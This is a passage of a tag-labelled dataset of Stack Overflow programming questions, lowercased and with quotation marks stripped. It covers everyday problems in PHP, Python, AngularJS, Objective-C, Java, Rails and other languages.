= [phonenumbers indexofobject:number]; if(barindex == -1)     return number; else return [names objectatindex:barindex]; </code></pre>   can any one please help me how to do that.............    thank you.......,iphone
i have inserted a video tag in my html code on page loading iam unable to view the video /* the video file is not get loaded in the area on webpage it shows  no video with supported format and mime type found */                                                                                                                                                            the video exists in mp 4 format.need to place it in the webpage,html
get other values from select  i have an array with values from a service:   <pre><code>serv.success(function (data) {     $.each(data.records  function(i  product) {         saleitem.push({             value: product.id              text:  product.name              price: product.price         });     }); }); </code></pre>   and i want to grab <code>price</code> value when i select a specific option:   <pre><code>&lt;select ng-model= product.id  ng-options= s.value as s.text for s in saleitem &gt;     &lt;option style= display:none  value=  &gt;selecione um produto&lt;/option&gt; &lt;/select&gt; </code></pre>,angularjs
css styling issue for replicating logo  i m trying to replicate this design for my logo but struggling with the css. so far i have managed to write the code below but am struggling to create the stacked text for growth hacker and entrepreneur. if you have any guidance it would be much appreciated.     <a href= https://i.stack.imgur.com/1eqfh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1eqfh.png  alt= enter image description here ></a>   <pre><code>&lt;a class= navbar-brand navbar-brand-fix  href= &lt; php echo site_url( / )  &gt; &gt;elliott davidson | &lt;span class= logo-growth-hacker &gt;growth hacker&lt;/span&gt;&lt;br&gt;&lt;span class= logo-entrepreneur &gt;entrepreneur&lt;/span&gt;&lt;/a&gt;  .navbar-brand   font-weight: bold   font-size: 1rem   text-transform: uppercase   color: $light-grey   padding: 30px 30px 30px 0px  .navbar-default .navbar-brand   color: $light-grey  a.navbar-brand.navbar-brand-fix    span.logo-growth-hacker     font-weight: 200     font-size: 0.5em     text-transform: none     vertical-align: text-top    span.logo-entrepreneur     font-weight: 200     font-size: 0.5em     text-transform: none     margin-top: -18px     float: inherit     margin-left: 182px     padding-top: 5px </code></pre>,css
save text file and display its content on the browser  if the following script.py writes  some text here  to output.txt file  my url will be <code>http://my_name/script.py</code>. my question is  how can i read the output.txt as soon as (right after) the following function creates it  so that my url reads like <code>http://my_name/output.txt</code>.<br> many thanks in advance.   <pre><code>#------ script.py ------- def write_txt(){    f=( ./output.txt    w )    f.write( some text here ) } </code></pre>,python
im having an issue when running a class design  need help figuring out where is the issue <pre><code>    # classy mandelbrot patterns.  import turtle; import colorsys;  # a mandelbrot patterns class: class mandelbrotpatterns:     # initialize the pen  and determine the window width and height:     def __init__(self):         self.pen = turtle.pen();          self.width = self.pen.window_width();         self.height = self.pen.window_height();  # given numbers self  u0  v0  and side  design a pattern: def mandelbrot(self  u0  v0  side):     self.pen.tracer(false);        for x in range(-self.width/2  +self.width/2):         for y in range (-self.height/2  +self.height/2):             draw(self.pen  side  u0  v0  x  y);         if (x % 20 == 0):             self.pen.tracer(true); self.pen.tracer(false);     self.pen.tracer(true);  # draw in color a pattern element at point (x  y): def selfdraw(self  side  u0  v0  x  y):     maxcount = 25;     u = u0 + x * (side / 100.0);     v = v0 - y * (side / 100.0);     a = 0 ; b = 0; count = 0;      while (count &lt; maxcount and a * a + b * b &lt;= 4):         count = count + 1;         a1 = a * a - b * b + u;         b1 = 2 * a * b + v;         a = a1; b = b1;     ez = float(count) / maxcount;     color = colorsys.hsv_to_rgb(ez  ez  ez);     self.pen.color(color);     self.pen.up(); self.pen.goto(x  y); self.pen.down();     self.pen.forward(1); </code></pre>   when i run the module im testing this information to make sure it works:   <pre><code>&gt;&gt;&gt; mb = mandelbrotpatterns(); &gt;&gt;&gt; mb.mandelbrot(u0= -0.5  v0 = 0  side = 1); </code></pre>   this is the response i am getting back from idle:   <pre><code>traceback (most recent call last):       file  &lt;pyshell#10&gt;   line 1  in &lt;module&gt;         mb.mandelbrot(-0.5  0  1)     attributeerror: mandelbrotpatterns instance has no attribute  mandelbrot  </code></pre>   i was thinking where i define mandelbrot is the problem but i don t see where there could be an error. if someone could give me an idea or solution that would be great. thanks,python
how do you get individual items from a list item  i am new to android development but am trying to get one element of a string variable but can t seem to figure it out.   <pre><code>@override   protected void onlistitemclick(listview walkslist  view v  int position  long id)    {   string selected = walkslist.getitematposition(position).tostring(); } </code></pre>   <code>selected</code> is returning me :   <pre><code>{root=walkoneroot  caption=walkonecaption  title=walkonetitle} </code></pre>   what i am trying to do is isolate  walkoneroot  for each list item into a variable.    any help would be much appreciated.,android
if($_get[ page ]) error  hello i have this script.   <pre><code>if($_get[ page ]) {         if (isset($_get[ page ]))         $id = $db-&gt;escape_string($_get[ page ]);         if ($usersquery = $db-&gt;query( select * from padges where id = $id  limit 1 ))         $content = $usersquery-&gt;fetch_assoc();     }     if(!$_get[ page ]) {         if (isset($_get[ page ]))         $id = $db-&gt;escape_string($_get[ page ]);         if ($usersquery = $db-&gt;query( select * from padges where id = 10  limit 1 ))         $content = $usersquery-&gt;fetch_assoc();     } </code></pre>   if i go to <a href= http://127.0.0.1/ page=10  rel= nofollow >http://127.0.0.1/ page=10</a> i have no error. but if i go to <a href= http://127.0.0.1  rel= nofollow >http://127.0.0.1</a> i get this error.   <pre><code>notice: undefined index: page in /sites/ergotherapiewalcheren.nl/www/index.php on line 6 notice: undefined index: page in /sites/ergotherapiewalcheren.nl/www/index.php on line 12 </code></pre>   how can i fix this error     tom lammers,php
mysql error #1146 can t get rid of deleted tables  i know #1146 has been asked too many times  but my case is a bit different  so please bear with me.    i was trying to delete a database  libdb_bak  as i no longer need the backup db  however  some error happened and phpmyadmin asked me to create something related to  pma  thing - i didn t paid attention to the details  and after confirming the operation  i go on to my other tasks.    after returning to phpmyadmin  the operation seems failed  so i go to c:\appserv\mysql\data\ to delete the database manually  now every time i tried to go into any database  it will fail with error message regarding  libdb_bak.pma_tracking  doesn t exists.    i tried uninstalling appserv (appserv: 8.6.0 includes mysql:5.7.17  phpmyadmin: 4.6.6) and deleted the whole appserv directory (clean delete  nothing left in recycle bin)  restart pc  re-install appserv  and the problem still exists - it is still looking for the libdb_bak.pma_tracking file  which  it is not supposed to remember  since i already done a clean wipe and fresh re-install.    can anyone help me to locate the residue of this file location memory  so that i can get rid of it for good  i can t use my pc to continue my work  as long as this problem still exists. thanks in advance.,mysql
can t click programmatically added buttons  i m programmatically adding a button to a form  and for some reason i can t click it. why not    <pre><code>private button btnbrowser = new button();  this.btnbrowser.text =  open browser ; this.btnbrowser.location = new system.drawing.point(55  45); this.btnbrowser.size = new system.drawing.size(70  30); </code></pre>   this adds the button to the form  but i can t click it.   <pre><code>private void btnbrowser_click(object sender  eventargs e) {     messagebox.show( test ); } </code></pre>,c#
compare strings with numeric values  i have searched many hours how to compare this two strings ( and have str1 equal str2 == yes):    this string is given by a user input in my interface (search bar)   <pre><code>nsstring *str1 = @ 11 2 ; </code></pre>   this string is a property of my model object   <pre><code>nsstring *str2 = @ 11.2 ; </code></pre>   i have tested this but it s not working    <pre><code>if ([str1 rangeofstring:str2 options:options range:nsmakerange(0  [str1 length]) locale:[nslocale currentlocale]].location == nsnotfound </code></pre>   witch is the best solution to compare the two nsstrings and have <code>str1</code> equal <code>str2</code>  that returns yes      edit :    i know that i can do it simply by replacing the     by  .  and the do the comparaison  but i am searching an elegant solution that take the fact that 11.2 and 11 2 are the same in different locales ( using <code>nsdecimalnumber</code> for example).,objective-c
i am assuming size of integer 2 byte and getting different value in c <pre><code>#include&lt;stdio.h&gt; void main()  { unsigned int i=65535;//assume that size of integer is 2 byte printf( %d  i); } </code></pre>   output=-1 //if size of integer is 2 byte    output=65535// if size of integer is 4 byte    can anyone explain me why it print -1 instead of 65535    according to me   size of interger is 2 byte i.e 16 bit . i=65535(decimal value) binary representation of 65535 is 1111111111111111. so it can accommodate 65535 easily,c
why isn t this recognized as a function   i have this function in my object:   <pre><code>var time = {      warps : 3      warpcounter : 50       warp : function(){         if (this.warps &gt; 0){             this.warps--;             this.warploop = 50;             this.warploop();          }     }       warploop : function(){        settimeout(function () {           this.increment();                         if (warpcounter--){             this.warploop();           }else{             if(this.warps &gt; 0){               htmlinteraction.enablebutton( warp-button );             }           }        }  100);     }   }; </code></pre>   when i try and call it from another method (using <code>this.warploop()</code>) i get:   <pre><code>uncaught typeerror: property  warploop  of object #&lt;object&gt; is not a function  </code></pre>   why is this,javascript
how to have c output ≤ and ≥ symbols in the output instead of   i d like for my c program to output ≥ and ≤ symbols from printf() instead of replacing them with  . is it possible to do this,c
implementation file can t see constant declared in header file  i am getting error messages in the implementation file (commented out) for constants declared in the header file. why is the compiler doing this     thanks in advance.    header file:   <pre><code>#import &lt;uikit/uikit.h&gt;  #define kfilling component 0 #define kbread component 1  @interface biddoublecomponentviewcontroller : uiviewcontroller &lt;uipickerviewdelegate  uipickerviewdatasource&gt;  @property (strong  nonatomic) iboutlet  uipickerview *doublepicker; @property (strong  nonatomic) nsarray *fillingtypes; @property (strong  nonatomic) nsarray *breadtypes;  - (ibaction) buttonpressed;   @end </code></pre>   implementation file:   <pre><code>#import  biddoublecomponentviewcontroller.h    @implementation biddoublecomponentviewcontroller  - (ibaction)buttonpressed {     nsinteger fillingrow = [self.doublepicker selectedrowincomponent:kfillingcomponent]; // use of undeclared identifieer  kfillingcomponent      nsinteger breadrow = [self.doublepicker selectedrowincomponent:kbreadcomponent]; // use of undeclared identifieer  kbreadcomponent       nsstring *filling = self.fillingtypes[fillingrow];     nsstring *bread = self.breadtypes[breadrow];      nsstring *message = [[nsstring alloc] initwithformat:@ your %@ on %@ will be right up.   filling  bread];     uialertview *alert = [[uialertview alloc] initwithtitle:@ thank you for your order                                                  message:message                                                delegate:nil                                       cancelbuttontitle:@ great                                        otherbuttontitles:nil];     [alert show]; }  - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {     self = [super initwithnibname:nibnameornil bundle:nibbundleornil];     if (self) {         // custom initialization     }     return self; }  - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view from its nib.     self.fillingtypes = @[@ ham   @ turkey   @ peanut butter   @ tuna salad   @ chicken salad   @ roast beef   @ vegemite ];     self.breadtypes = @[@ white   @ whole wheat   @ rye   @ sour dough   @ seven-grain ]; }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  #pragma mark #pragma mark picker data source methods  - (nsinteger)numberofcomponentsinpickerview:(uipickerview *)pickerview {     return 2; }  - (nsinteger)pickerview:(uipickerview *)pickerview numberofrowsincomponent:(nsinteger)component {     if(component == kbreadcomponent) // use of undeclared identifieer  kfillingcomponent      {         return [self.breadtypes count];     } else {         return [self.fillingtypes count];     } }  #pragma mark picker delegate methods  - (nsstring *)pickerview:(uipickerview *)pickerview titleforrow:(nsinteger)row forcomponent:(nsinteger)component {     if(component == kbreadcomponent) // use of undeclared identifieer  kbreadcomponent       {         return self.breadtypes[row];     } else {         return self.fillingtypes[row];     } }   @end </code></pre>,objective-c
approach for the recipe application  i am planning to make an recipe application. in this application firstly a list of categories will be displayed in tableview  when user selects particular category list of recipes will be displayed in another tableview (i will be using navigationcontroller for this). when user selects particular recipe another view will show the detail recipe ( which contains an image and text). each recipe has different text and image. so how should i begin the application  should i create an sql file having the recipe and category   how can i display or draw different text in the view  there are about 100 recipes. i am having the text for each recipe.,ios
live click except child   i have the following div:   <pre><code>&lt;div class= main &gt;      &lt;button class= quick &gt;sample&lt;/button&gt; &lt;/div&gt; </code></pre>   and i have this script:   <pre><code>    $( .main ).live( click   function() { </code></pre>   however  id like to modify it so if the button within the <code>main</code> is clicked  nothing happens.,jquery
why does rails start gets only on page reload   in my console  when loading a page  i get the usual list of executed commands like so:   <pre><code>started get  /employees  for ::1 at 2015-07-14 10:36:25 -0400 processing by employeescontroller#index as html   employee load (0.2ms)  select  employees .* from  employees    rendered employees/index.html.erb within layouts/application (7.7ms)   rendered layouts/_shim.html.erb (0.1ms)   rendered layouts/_header.html.erb (0.9ms)   rendered layouts/_footer.html.erb (0.1ms) completed 200 ok in 438ms (views: 433.9ms | activerecord: 2.4ms) </code></pre>   but when i reload this page  i get the same previous block  but also a huge list of <code>started get</code> commands like so:   <pre><code>...  started get  /assets/static_pages.self-877aef30ae1b040ab8a3aba4e3e309a11d7f2612f44dde450b5c157aa5f95c05.js body=1  for ::1 at 2015-07-14 10:38:32 -0400   started get  /assets/sessions.self-877aef30ae1b040ab8a3aba4e3e309a11d7f2612f44dde450b5c157aa5f95c05.js body=1  for ::1 at 2015-07-14 10:38:32 -0400   started get  /assets/users.self-877aef30ae1b040ab8a3aba4e3e309a11d7f2612f44dde450b5c157aa5f95c05.js body=1  for ::1 at 2015-07-14 10:38:32 -0400   started get  /assets/application.self-7c44b34571f9c6f50024ec815db695a00182b9937b48d97c4ac1515ab6b385a0.js body=1  for ::1 at 2015-07-14 10:38:32 -0400  ... </code></pre>   there s almost 100 of these commands. they only appear when i reload a page and it doesn t matter which page is reloaded.     i don t think it s necessarily doing any damage other than possibly doing unnecessary work and clogging up my log but it d be nice if i could find a solution.    why is this happening  is there anything i can do to prevent it,ruby-on-rails
doubles with constraints in java   i am porting a legacy python system to java. i m a python developer primarily so this question concerns how i might take an unsatisfactory pattern in the original python system but do it better in my java version.     a system i m working on deals with prices of products. all products have prices > 0.0.    in the orginal system all prices are represented as python float objects (roughly like a java double). functions which operate on these prices typically begin with a bunch of asserts to check that the range of the prices are sensible. since there are a lot of functions there are a lot of assertions which become very repetitive after a while.     these assertions are better than nothing but it would be far better to throw an error the instant that something tried to create a negative price  since that s where the fault lies.    it occurred to me that i might do better in my re-implementation by inventing a new type of numberish thing which behaves exactly like a double in all ways except that it cannot be constructed with a negative value. if i had such an object then i could rely on java s type system and not need to write so many asserts.    other than that (to begin with) it will obey all the normal rules of arethmatic - it will be a subclass of double.     later on i might extend this class by adding features that embrace more features of real-world money  e.g. preventing fractions of pennies. that s not actually needed in my initial version  but i d like any pattern i adopt to accomodate this sort of development over the next few months.    is this kind of pattern considered acceptable to a java developer  is there a better way to preserve the flexibility of having number-like objects but constraints on their possible values,java
loop array of objects  compare key values  i have an array of objects  all with the same keys. i want to check if 2 keys  in this case  a  &amp;  b  from all objects  have the same value. meaning a === a and b === b  across all objects.   <pre><code>var arr = [{a: x   b:2  c:3  d:4} {a:1  b:2  c:3  d:4} {a:1  b:2  c:3  d:4} {a:1  b:2  c:3  d:4}]; </code></pre>   if one of the key values(a or b) doesn t match the others  i want to return false. this case should return false because  a  in arr[0] =  x   while all the others equal 1;    here s my attempt. obviously doesnt work but what i was attempting was to have 2 loops compare 2 objects at a time. for example  the first loop will start at arr[0] and second loop will start at arr[1]  compare then move onto comparing arr[3] with arr[4] and so on. though the length of the array wont always be even.   <pre><code>function comparekeyvals(arr){    for(var i = 0; i&lt;arr.length; i+=2){     for(var j = 1; j&lt;arr.length; j+=2){      for(key in arr[i]){              for(keyz in arr[j]){                 if(key ===  a  &amp;&amp; keyz ===  a ){             if(arr[i][key] != arr[j][keyz]){               return false;             }           }           }       }         }   } }  comparekeyvals(arr); </code></pre>   thanks.,javascript
urlgenerationerror in self-referenced model  i have a self-referential post model for nested conversations. the parent post renders child posts with partials _post and _form. every post has typical crud actions for  reply    edit   and  delete .    <strong>problem</strong>: the edit action of child replies throw a  urlgenerationerror missing required keys [:id]  error  even though the id parameter is present in the request. yet the delete action works fine  and all actions work fine in the parent post  too.    <a href= https://i.stack.imgur.com/vh4cy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vh4cy.png  alt= screenshot of a parent post and two nested child posts ></a>    post.rb:   <pre><code>has_many :child_posts  class_name:  post   foreign_key:  parent_post_id  belongs_to :parent_post  class_name:  post   optional: true </code></pre>   routes.rb:   <pre><code>resources :posts </code></pre>   _post.html.erb:   <pre><code>&lt;%= link_to  edit   edit_post_path(post.id)  ... %&gt; </code></pre>   _form.html.erb: (the error occurs at the <code>&lt;%= form_for post do |f| %&gt;</code> tag.)   <pre><code>&lt;% puts params.inspect # -&gt;  &lt;actioncontroller::parameters { controller =&gt; posts    action =&gt; edit    id =&gt; 123 } permitted: false&gt; %&gt;  &lt;%= form_for post do |f| %&gt; ... </code></pre>   happy to show more--this just seems the most relevant. thoughts,ruby-on-rails
reset value in directive  i have a directive: <code>timelineitem</code> that s being repeated through a <code>ng-repeat</code>. so there can be 1-100 (or more) instances of the directive in the application.    all these timeline-item elements have nested templates in them and i want to wait until the <code>ng-includes</code> are finished loading and then do something. so i put a <code>onload= vm.templatefinishedloading() </code> on the includes.     this is the function that s being called:   <pre><code>public templatesfinishedloading() {     this.i += 1;     if (this.i === this.activities.items.length) {         this.$rootscope.$broadcast( templatesfinishedloading );     } } </code></pre>   since there can be multiple templates being loaded i don t want to call the <code>$broadcast</code> multiple times i ve put in a for loop. so when all the templates are done loading it does the broadcast.    i want to call a function when the template is done loading so this <code>$broadcast</code> is caught in the <code>timelineitem</code> directive. since each instance of the directive catches the <code>$broadcast</code> and i only want to animate of a clicked element i have to compare the clicked htmlelement in the dom with the htmlelement of the directive:   <pre><code>element.on( click   () =&gt; {     clickedelement = attr.$$element[0].parentelement; } </code></pre>   then on the <code>$broadcast</code> i compare the clickedelement with the attribute element:   <pre><code>scope.$on( templatesfinishedloading   () =&gt; {     if (attr.$$element[0].parentelement === clickedelement) {         console.log( true );     } }); </code></pre>   this always equals to true since i only update the <code>clickedelement</code> variable on the clicked directive. the <code>clickedelement</code> variable in the other instances are not updated since they are outside the scope of the current directive.    so i added another <code>$broadcast</code> to the click:   <pre><code>element.on( click   () =&gt; {     $rootscope.$broadcast( resetclickedelement );     clickedelement = attr.$$element[0].parentelement; } </code></pre>   and then in the same directive i catch the broadcast:   <pre><code>scope.$on( resetclickedelement   () =&gt; {     clickedelement = document.createelement( div ); }); </code></pre>   so now when i click on the element that has the directive:   <pre><code>&lt;div class= activity-header  timeline-item&gt; </code></pre>   i first broadcast the reset to all other instances of the directive to change the <code>clickedelement</code> to a empty div element. then i set the current clicked element to the clickedelement variable. so now when the template is finished loading all the instances of the directive do the <code>if (attr.$$element[0].parentelement === clickedelement)</code> and only the clicked directive will  have the correct <code>clickedelement</code> since all the other are empty.    so now my question. is there a other method of  resetting  the <code>clickedelement</code> variable in each directive instance,angularjs
unit test dom manipulation service  how can i unit test the below service in angular using jasmine   <pre><code>angular.module( xyz )     .service( notecarddisplay   function () {        function waitfordialog() {         var dialogwrapper  dialogmodal;         dialogwrapper = angular.element( .modal-content ).parent().parent();         dialogwrapper.css( height   475);         dialogwrapper.css( width   650);         dialogwrapper.css( margin-left   300);         dialogwrapper.css( margin-top   200);         dialogmodal = angular.element( .modal-content ).parent();         dialogmodal.css( margin   0);       }        return {         waitfordialog: waitfordialog       };      }); </code></pre>,angularjs
ng-options is creating more select boxes  i got this:    <pre><code>&lt;div ng-repeat= candle in candles &gt;     &lt;div &gt;        &lt;select ng-repeat= object in candle  &gt;&lt;option value= {{ object.id }} &gt; {{ object.name }}&lt;/option&gt;&lt;/select&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   and i have to use the <strong>ng-repeat</strong> twice to get to the objects but angular is creating for each object a select box.  i just want it to create one select box with all options.    let s say i got 3 elements in that object. basically angular is creating more select boxes like that:    <hr>  <h2>select box</h2>  <hr>  <h2>select box</h2>  <hr>  <h2>select box</h2>   but i want just one select box with all the 3 elements as options.    any suggestions,angularjs
python os.walk() method  i am new to stackoverflow. i have taken lot of help from this forum in writing the following code. the code below searches all directories/sub directories on the system drives but while looking into  d  drive  it looks only those directories and sub directories that are after the folder in which i run this program.     i mean if i run this program from <code>d:\dir1\dir2\dir3\mycode.py</code>  it will search directories and sub directories after <code>d:\dir1\dir2\dir3\</code> not the entire  d  drive. it works good with other drives while running from the same location. this is my code:   <pre><code>import os  string total=0 for driveletter in string.ascii_uppercase:     try:         if os.path.exists(driveletter+ : ):             for root  dirs  docs in os.walk(top=driveletter+ :   topdown=true):                             for name in docs:                     try:                         if (name.endswith( .docx )) or (name.endswith( .doc )):                             print(os.path.join(root  name))                             total+=1                                               except:                         continue     except:         continue print ( you have a total of   + str(total) +   word documents in your system ) </code></pre>,python
php upload rename image and send as attachment in email  i m busy with a php upload and mail function basically it takes uploaded images and puts it in an email as an attachment and then also uploads it to a directory  how would i rename the image according to the date but keep the extension  for people may upload images with the same file name...    here s the upload function:   <pre><code>$newdirectory =  applicants ; $count = 0; foreach ($_files[ myfile ][ name ] as $filename) {     $temp = $_files[ myfile ][ tmp_name ][$count];     move_uploaded_file($temp  $newdirectory .  /  . $filename);     $count++; } </code></pre>   and then the entire php function:   <pre><code>&lt; php     function printmember($member) {         foreach($member as $key=&gt;$value) {             //fill the aux string first             $str.=  $key : $value &lt;br /&gt; ;         }         //string that will be added to $msg variable inside the loop         return $str;     }      $json = $_post[ parameters ];     $json_string = stripslashes($json);     $data = json_decode($json_string  true);     $depcount = count($data[ dependants ]);      $msg .=  &lt;h2&gt;main member data:&lt;/h2&gt; ;     $msg .= printmember($data[ mainmember ]);     $msg .=  &lt;h2&gt;there are $depcount dependants&lt;/h2&gt; ;      foreach ($data[ dependants ] as $index =&gt; $dependant) {        $msg .=  &lt;h2&gt;dependant $index&lt;/h2&gt; ;        $msg .= printmember($dependant);     }      $strto =  chante@jamfactory.co.za ;     $strsubject =  image testing ;     $strmessage = nl2br($msg);      //*** uniqid session ***//     $strsid = md5(uniqid(time()));      $strheader =   ;     $strheader .=  from: dawid&lt;xxx@xxx.co.za&gt;\nreply-to:xxxx@xxx.co.za ;      $strheader .=  mime-version: 1.0\n ;     $strheader .=  content-type: multipart/mixed; boundary=\  .$strsid. \ \n\n ;     $strheader .=  this is a multi-part message in mime format.\n ;      $strheader .=  -- .$strsid. \n ;     $strheader .=  content-type: text/html; charset=utf-8\n ;     $strheader .=  content-transfer-encoding: 7bit\n\n ;     $strheader .= $strmessage. \n\n ;      //*** attachment ***//     $count = 0;     foreach($_files[ myfile ][ name ] as $filename)     {         $temp = $_files[ myfile ][ tmp_name ][$count];         $strfilesname = $filename;         $strcontent = chunk_split(base64_encode(file_get_contents($temp)));          $strheader .=  -- .$strsid. \n ;         $strheader .=  content-type: application/octet-stream; name=\  .$strfilesname. \ \n ;          $strheader .=  content-transfer-encoding: base64\n ;         $strheader .=  content-disposition: attachment; filename=\  .$strfilesname. \ \n\n ;         $strheader .= $strcontent. \n\n ;         $count++;     }       $flgsend = @mail($strto $strsubject null $strheader);  // @ = no show error //      if($flgsend)     {         echo  mail send completed. ;         $newdirectory =  applicants ;         $count = 0;         foreach ($_files[ myfile ][ name ] as $filename)         {             $temp = $_files[ myfile ][ tmp_name ][$count];             move_uploaded_file($temp  $newdirectory .  /  . $filename);             $count++;         }     }     else     {         echo  cannot send mail. ;     }  &gt; </code></pre>,php
parse zabbix output format  i am using <code>pyzabbix</code> to interface with zabbix and retrieve what i want:   <pre><code>#!/usr/bin/env python  # import import sys  subprocess  time  datetime  csv  platform from pyzabbix import zabbixapi  # api/vars url= http://172.18.64.100/zabbix  zh = zabbixapi(url) zh.login(user= admin  password= xxxxxxxx ) groupid = sys.argv[1]  # get group from argv group = zh.hostgroup.get(output= shorten   filter={ groupid : [groupid]}  monitored_hosts= 1 )  # get hosts from looping group above hosts = zh.host.get(output= count   monitored_hosts= 1   groupids=[x[ groupid ] for x in group])  # print for hostid in hosts:     print hostid     triggers = zh.trigger.get(filter={ hostid : hostid}  active= 1   output=[ description ])     print triggers </code></pre>   so  the output is working  but i need to filter it and i am struggling:   <pre><code>{u hostid : u 10166 } [{u triggerid : u 14138   u description : u servidor reiniciado }  {u triggerid : u 14139   u description : u  pin  u 18082   u description : u interface 7a }  {u triggerid : u 18083   u description : u interface 7b }  {u trigger scription : u interface 8a }  {u triggerid : u 18085   u description : u interface 8b }  {u triggerid : u 18086   nterface 9a }  {u triggerid : u 18087   u description : u interface 9b }  {u triggerid : u 14140   u description :  {u triggerid : u 14141   u description : u cpu 90% utilizada }  {u triggerid : u 14143   u description : u  sem c snmp por 30 minutos }  {u triggerid : u 23138   u description : u servidor reiniciado }] {u hostid : u 10412 } [{u triggerid : u 22084   u description : u agente zabbix inoperante }  {u triggerid : u 22086   u description : u r database (servi\xe7o_windows - mcafeenetworksecuritymanagerdatabase) }  {u triggerid : u 22088   u description : ork security manager (servi\xe7o_windows - networksecuritymanager) }  {u triggerid : u 22090   u description : u c   {u triggerid : u 22091   u description : u servidor reiniciado }  {u triggerid : u 22092   u description : u ser  {u triggerid : u 22122   u description : u espa\xe7o em disco menor que 5% em c: }  {u triggerid : u 22124   u de xe7o em disco menor que 10% em c: }  {u triggerid : u 22123   u description : u espa\xe7o em disco menor que 5% em  : u 22125   u description : u espa\xe7o em disco menor que 10% em d: }  {u triggerid : u 22094   u description : \xedvel menor que 10% }] {u hostid : u 10413 } [{u triggerid : u 22102   u description : u agente zabbix inoperante }  {u triggerid : u 22104   u description : u r database (servi\xe7o_windows - mcafeenetworksecuritymanagerdatabase) }  {u triggerid : u 22106   u description : ork security manager (servi\xe7o_windows - networksecuritymanager) }  {u triggerid : u 22108   u description : u c   {u triggerid : u 22109   u description : u servidor reiniciado }  {u triggerid : u 22110   u description : u ser  {u triggerid : u 22132   u description : u espa\xe7o em disco menor que 5% em c: }  {u triggerid : u 22134   u de xe7o em disco menor que 10% em c: }  {u triggerid : u 22133   u description : u espa\xe7o em disco menor que 5% em  : u 22135   u description : u espa\xe7o em disco menor que 10% em d: }  {u triggerid : u 22112   u description : \xedvel menor que 10% }] </code></pre>   i just want the  hostid  and the  description  part of the output  i mean:   <pre><code>hostid - 10166 servidor reiniciado ping interface 7a interface 7b ...  hostid - 10412 agente zabbix inoperante ... ... </code></pre>,python
how to use the telerik chart control control   i have used the telerik chart control for display the data. i have some issue regarding chart control.whats  is purpose of label step in chart control because my data totally depend on label step property.please suggest me,asp.net
running an expensive method in the view vs in the controller - rails  running the risk of being tagged as  too broad   but this is an authentic doubt.    say i have <code>@my_model.complex_calculation_result</code> to show in a view.    what are the pros and cons of:     <strong>1 - calculating the value on the controller and send it to the view</strong>    controller:     <code>@result = @my_model.complex_calculation_result # caching the value in the controller</code>    view:    <code>&lt;%= @result %&gt;</code>    <strong>2 - calculating it directly in the view</strong>    <code>&lt;%= @my_model.complex_calculation_result %&gt;</code>    i know the last alternative represents less code and i have one less instance variable hanging around.    but are there performance diferences     <strong>guess 1</strong> - the view already takes more memory to render it all  so the calculation can take longer from inside the view if it is memory expensive.    any light shed on this and comments will be highly appreciated. :),ruby-on-rails
error: unable to access jarfile  for a project that i m working on  i need to make a relauncher so it always runs with the javac.exe and not the java.exe.     code:   <pre><code>    console.info( relaunch );     processbuilder builder = new processbuilder();     arraylist&lt;string&gt; args = new arraylist();     args.add(java.getabsolutepath());     url url = relauncher.class.getresource( /dk/app/relauncher.class );     if(url == null){         new crashreport(new runtimeexception( relauncher not found )   unable to relaunch ).execute();     }     if(url.tostring().startswith( jar:file:/ )){         console.debug( relaunch type = jar );         string jar = url.tostring().substring(10);         if(jar.contains( ! )){             jar = jar.split( ! )[0];         }         args.add( -jar );         args.add(jar);         //args.add( dk.app.main );     }else if(url.tostring().startswith( file:/ )){         console.debug( relaunch type = class );         string cls = url.tostring().substring(6);         args.add( -cp );         args.add(cls);     }     builder.command(args);      string cmds =   ;     for(string str : args){         cmds = cmds +  \   + str +  \   ;     }     console.debug( execute:   + cmds);      final process p = builder.start(); </code></pre>   but when i build this project and try to launch it with the java.exe so it triggers the relauncher. i get the error:   <pre><code>     error: unable to access jarfile c:/users/steven/nb%20projects/default_application/dist/default_application.jar  </code></pre>   this is the complete log when i ran it:   <pre><code>    [15/02/2014 20:54:31] [info] relaunch     [15/02/2014 20:54:31] [debug] relaunch type = jar     [15/02/2014 20:54:31] [debug] execute:  c:\program files\java\jdk1.7.0_25\bin\java.exe   -jar   c:/users/steven/nb%20projects/default_application/dist/default_application.jar      error: unable to access jarfile c:/users/steven/nb%20projects/default_application/dist/default_application.jar     [15/02/2014 20:54:31] [info] relaunch exit: 1     [15/02/2014 20:54:31] [error] failed to relaunch with jdk </code></pre>   i know that this error could mean that the jar file isn t there  but i m absolutely sure that it is there  because i tried the exactly same command in cmd. and in cmd it worked!,java
iad revenue questions  my app got recently approved   and i have a few questions regarding iad.    1) how much exactly is revenue per impression and per click     2) i have not seen ads showing up on my own device  but they do show up on my friends  devices. is it supposed to be like this     3) what if someone clicks on different ads multiple times on the same device  say  throughout the day  is it still the same amount of revenue per click  or does it count as once since it is on the same device  if it is allowed  wouldn t that be a source of sort of an intentional multi-clicking just for sake of revenues     4) how frequently are the revenues deposited to your account     5) does click-through rate increase just by clicking the ad  or actually installing it     that s about it. please clarify these issues for me! thank you.,iphone
how to apply the html tags to uilabel text  iam developing one application.in that iam using the uilabels.and my problem is i need to apply the html effects to that label data.for example i need to add the anchor tag to that text.then i need to use the anchor tag for that text.so please tell me how to use that one.,iphone
switch php variables between two files on different servers  ok   so i have a.php on server #1 and b.php on server #2    let say that a.php contains :   <pre><code>&lt; php $google =  www.google.com ;  &gt; </code></pre>   and b.php contains :   <pre><code>&lt; php require( http://[server #1]/a.php ); echo $google;  &gt; </code></pre>   basically that won t work   how to make it work <strong>without editing php.ini</strong>   :d,php
scrollview is bouncing back  i have a app where in once i tap on a textfield it slides on top of keyboard.    my scrollview is bouncing back when i scroll down my content. iphone documentation says  by default  it “bounces” back when scrolling exceeds the bounds of the content.      any clue how to get rid of this  should i increase the content size of scrollview,iphone
